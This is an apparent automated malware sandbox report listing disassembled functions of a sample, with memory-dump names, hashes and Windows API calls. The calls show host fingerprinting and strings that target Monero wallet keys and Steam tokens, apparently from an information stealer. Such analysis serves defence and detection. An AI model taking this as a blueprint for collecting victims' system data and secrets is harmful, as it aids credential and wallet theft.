Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: d10a5f80af1087d55c9c331984376270560b92091db8b7ab6d9c39957b48d420
Instruction ID: f7e7c82193d3b0ea55d8347482429be1036518becd7fd6a662f9de38bd21a0a8
Opcode Fuzzy Hash: d10a5f80af1087d55c9c331984376270560b92091db8b7ab6d9c39957b48d420
Instruction Fuzzy Hash: 77819975B002089FCB28EF64D995AEDBBF5FF94300F149169E449AF341DB30AA45CB82

Function 6CAD3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CAD3095

Part of subcall function 6CAD35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CB5F688,00001000), ref: 6CAD35D5
Part of subcall function 6CAD35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CAD35E0
Part of subcall function 6CAD35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CAD35FD
Part of subcall function 6CAD35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CAD363F
Part of subcall function 6CAD35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CAD369F
Part of subcall function 6CAD35A0: __aulldiv.LIBCMT ref: 6CAD36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAD309F

Part of subcall function 6CAF5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CAF56EE,?,00000001), ref: 6CAF5B85
Part of subcall function 6CAF5B50: EnterCriticalSection.KERNEL32(6CB5F688,?,?,?,6CAF56EE,?,00000001), ref: 6CAF5B90
Part of subcall function 6CAF5B50: LeaveCriticalSection.KERNEL32(6CB5F688,?,?,?,6CAF56EE,?,00000001), ref: 6CAF5BD8
Part of subcall function 6CAF5B50: GetTickCount64.KERNEL32 ref: 6CAF5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CAD30BE

Part of subcall function 6CAD30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CAD3127
Part of subcall function 6CAD30F0: __aulldiv.LIBCMT ref: 6CAD3140

Part of subcall function 6CB0AB2A: __onexit.LIBCMT ref: 6CB0AB30

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: ca813afb4c0ef2dfce937746bc46ed06776d6c1d29ace4b5d2eae9dcfb01b1a5
Instruction ID: 48d38d3b86892fb135c74cab21f1e8c18038a95d850e4c975176215e8da3b77b
Opcode Fuzzy Hash: ca813afb4c0ef2dfce937746bc46ed06776d6c1d29ace4b5d2eae9dcfb01b1a5
Instruction Fuzzy Hash: 5EF0A922E2078896CA10EF7489915EBF774AF6B114F915719E89467591FB2071DCC381

Function 00E39470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00E39484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00E394A5
CloseHandle.KERNEL32(00000000), ref: 00E394AF

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 577f36cd4beb1134e276adc23c0213b6e00b41288ae2f3ed305a19132422f2be
Instruction ID: 78c3759944f5c88af520568d1d8b2ee9b4a65409af5c254ec6bd4d35d64239fe
Opcode Fuzzy Hash: 577f36cd4beb1134e276adc23c0213b6e00b41288ae2f3ed305a19132422f2be
Instruction Fuzzy Hash: 70F03074A0020CEBDB14EF94D84AFE97774EB08300F004458FA59A7190D6B55A85CB90

Function 00E21110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00E2112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00E21132
ExitProcess.KERNEL32 ref: 00E21143

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 94329f304fe8cb404b326370327f47691a95036886e07b4fb717c76558982000
Instruction ID: 3ca84a70ce7bf99813c5be0ccad83b7082757ff8b4d18eac1e6dd441a1e6b8d0
Opcode Fuzzy Hash: 94329f304fe8cb404b326370327f47691a95036886e07b4fb717c76558982000
Instruction Fuzzy Hash: 76E0E670A45308FFE7207BA0AC0AF0976B8AB04B05F105095F709771D4D6B926409799

Function 00E31A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E3A740: lstrcpy.KERNEL32(00E40E17,00000000), ref: 00E3A788

Part of subcall function 00E3A9B0: lstrlen.KERNEL32(?,018099D8,?,\Monero\wallet.keys,00E40E17), ref: 00E3A9C5
Part of subcall function 00E3A9B0: lstrcpy.KERNEL32(00000000), ref: 00E3AA04
Part of subcall function 00E3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E3AA12

Part of subcall function 00E3A8A0: lstrcpy.KERNEL32(?,00E40E17), ref: 00E3A905

Part of subcall function 00E37500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00E37542
Part of subcall function 00E37500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00E3757F
Part of subcall function 00E37500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E37603
Part of subcall function 00E37500: RtlAllocateHeap.NTDLL(00000000), ref: 00E3760A

Part of subcall function 00E3A920: lstrcpy.KERNEL32(00000000,?), ref: 00E3A972
Part of subcall function 00E3A920: lstrcat.KERNEL32(00000000), ref: 00E3A982

Part of subcall function 00E37690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E376A4
Part of subcall function 00E37690: RtlAllocateHeap.NTDLL(00000000), ref: 00E376AB

Part of subcall function 00E377C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,00E3DBC0,000000FF,?,00E31C99,00000000,?,0180E570,00000000,?), ref: 00E377F2
Part of subcall function 00E377C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,00E3DBC0,000000FF,?,00E31C99,00000000,?,0180E570,00000000,?), ref: 00E377F9

Part of subcall function 00E37850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00E211B7), ref: 00E37880
Part of subcall function 00E37850: RtlAllocateHeap.NTDLL(00000000), ref: 00E37887
Part of subcall function 00E37850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00E3789F

Part of subcall function 00E378E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E37910
Part of subcall function 00E378E0: RtlAllocateHeap.NTDLL(00000000), ref: 00E37917
Part of subcall function 00E378E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00E3792F

Part of subcall function 00E37980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00E40E00,00000000,?), ref: 00E379B0
Part of subcall function 00E37980: RtlAllocateHeap.NTDLL(00000000), ref: 00E379B7
Part of subcall function 00E37980: GetLocalTime.KERNEL32(?,?,?,?,?,00E40E00,00000000,?), ref: 00E379C4
Part of subcall function 00E37980: wsprintfA.USER32 ref: 00E379F3

Part of subcall function 00E37A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0180F130,00000000,?,00E40E10,00000000,?,00000000,00000000), ref: 00E37A63
Part of subcall function 00E37A30: RtlAllocateHeap.NTDLL(00000000), ref: 00E37A6A
Part of subcall function 00E37A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0180F130,00000000,?,00E40E10,00000000,?,00000000,00000000,?), ref: 00E37A7D

Part of subcall function 00E37B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,0180F130,00000000,?,00E40E10,00000000,?,00000000,00000000), ref: 00E37B35

Part of subcall function 00E37B90: GetKeyboardLayoutList.USER32(00000000,00000000,00E405AF), ref: 00E37BE1
Part of subcall function 00E37B90: LocalAlloc.KERNEL32(00000040,?), ref: 00E37BF9
Part of subcall function 00E37B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00E37C0D
Part of subcall function 00E37B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00E37C62
Part of subcall function 00E37B90: LocalFree.KERNEL32(00000000), ref: 00E37D22

Part of subcall function 00E37D80: GetSystemPowerStatus.KERNEL32(?), ref: 00E37DAD

GetCurrentProcessId.KERNEL32(00000000,?,0180E250,00000000,?,00E40E24,00000000,?,00000000,00000000,?,0180F100,00000000,?,00E40E20,00000000), ref: 00E3207E

Part of subcall function 00E39470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00E39484
Part of subcall function 00E39470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00E394A5
Part of subcall function 00E39470: CloseHandle.KERNEL32(00000000), ref: 00E394AF

Part of subcall function 00E37E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E37E37
Part of subcall function 00E37E00: RtlAllocateHeap.NTDLL(00000000), ref: 00E37E3E
Part of subcall function 00E37E00: RegOpenKeyExA.KERNEL32(80000002,017FC6E8,00000000,00020119,?), ref: 00E37E5E
Part of subcall function 00E37E00: RegQueryValueExA.KERNEL32(?,0180E2D0,00000000,00000000,000000FF,000000FF), ref: 00E37E7F
Part of subcall function 00E37E00: RegCloseKey.ADVAPI32(?), ref: 00E37E92

Part of subcall function 00E37F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00E37FC9
Part of subcall function 00E37F60: GetLastError.KERNEL32 ref: 00E37FD8

Part of subcall function 00E37ED0: GetSystemInfo.KERNEL32(00E40E2C), ref: 00E37F00
Part of subcall function 00E37ED0: wsprintfA.USER32 ref: 00E37F16

Part of subcall function 00E38100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0180EED8,00000000,?,00E40E2C,00000000,?,00000000), ref: 00E38130
Part of subcall function 00E38100: RtlAllocateHeap.NTDLL(00000000), ref: 00E38137
Part of subcall function 00E38100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00E38158
Part of subcall function 00E38100: __aulldiv.LIBCMT ref: 00E38172
Part of subcall function 00E38100: __aulldiv.LIBCMT ref: 00E38180
Part of subcall function 00E38100: wsprintfA.USER32 ref: 00E381AC

Part of subcall function 00E387C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00E40E28,00000000,?), ref: 00E3882F
Part of subcall function 00E387C0: RtlAllocateHeap.NTDLL(00000000), ref: 00E38836
Part of subcall function 00E387C0: wsprintfA.USER32 ref: 00E38850

Part of subcall function 00E38320: RegOpenKeyExA.KERNEL32(00000000,0180C060,00000000,00020019,00000000,00E405B6), ref: 00E383A4

Part of subcall function 00E38320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00E38426
Part of subcall function 00E38320: wsprintfA.USER32 ref: 00E38459
Part of subcall function 00E38320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00E3847B
Part of subcall function 00E38320: RegCloseKey.ADVAPI32(00000000), ref: 00E3848C
Part of subcall function 00E38320: RegCloseKey.ADVAPI32(00000000), ref: 00E38499

Part of subcall function 00E38680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00E405B7), ref: 00E386CA
Part of subcall function 00E38680: Process32First.KERNEL32(?,00000128), ref: 00E386DE
Part of subcall function 00E38680: Process32Next.KERNEL32(?,00000128), ref: 00E386F3
Part of subcall function 00E38680: CloseHandle.KERNEL32(?), ref: 00E38761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 00E3265B

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 3113730047-0
Opcode ID: 73433cc7ec17c3ad75557f1d193eda4a0f70129b28f0f20c694137bd9bab803d
Instruction ID: 2343c31193f5491ae3fa25e04a2adb56607af2f15763b808ae7b714a86f58aea
Opcode Fuzzy Hash: 73433cc7ec17c3ad75557f1d193eda4a0f70129b28f0f20c694137bd9bab803d
Instruction Fuzzy Hash: 3772A072C10118AADB19FB90EC9AEEE77BCAF54300F5552F9B15672051EF302B89CB61

Function 00E26D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50327281fe942208c17e395674d6a3e2b2765d31a764c100a1550e8e632908a1
Instruction ID: fa75df2a73d03f6941d0b1ab18295e3bfdc7ab5faee7e4293960022d8e889c71
Opcode Fuzzy Hash: 50327281fe942208c17e395674d6a3e2b2765d31a764c100a1550e8e632908a1
Instruction Fuzzy Hash: 7461F5B4A00228DBDF14DF94EA84BEEB7B0BB44308F149698E41977280D775AF94DF91

Function 00E35100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E3A740: lstrcpy.KERNEL32(00E40E17,00000000), ref: 00E3A788

Part of subcall function 00E3A820: lstrlen.KERNEL32(00E24F05,?,?,00E24F05,00E40DDE), ref: 00E3A82B
Part of subcall function 00E3A820: lstrcpy.KERNEL32(00E40DDE,00000000), ref: 00E3A885

lstrlen.KERNEL32(00000000,00000000,00E40ACA), ref: 00E3512A

Strings

steam_tokens.txt, xrefs: 00E3513F

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
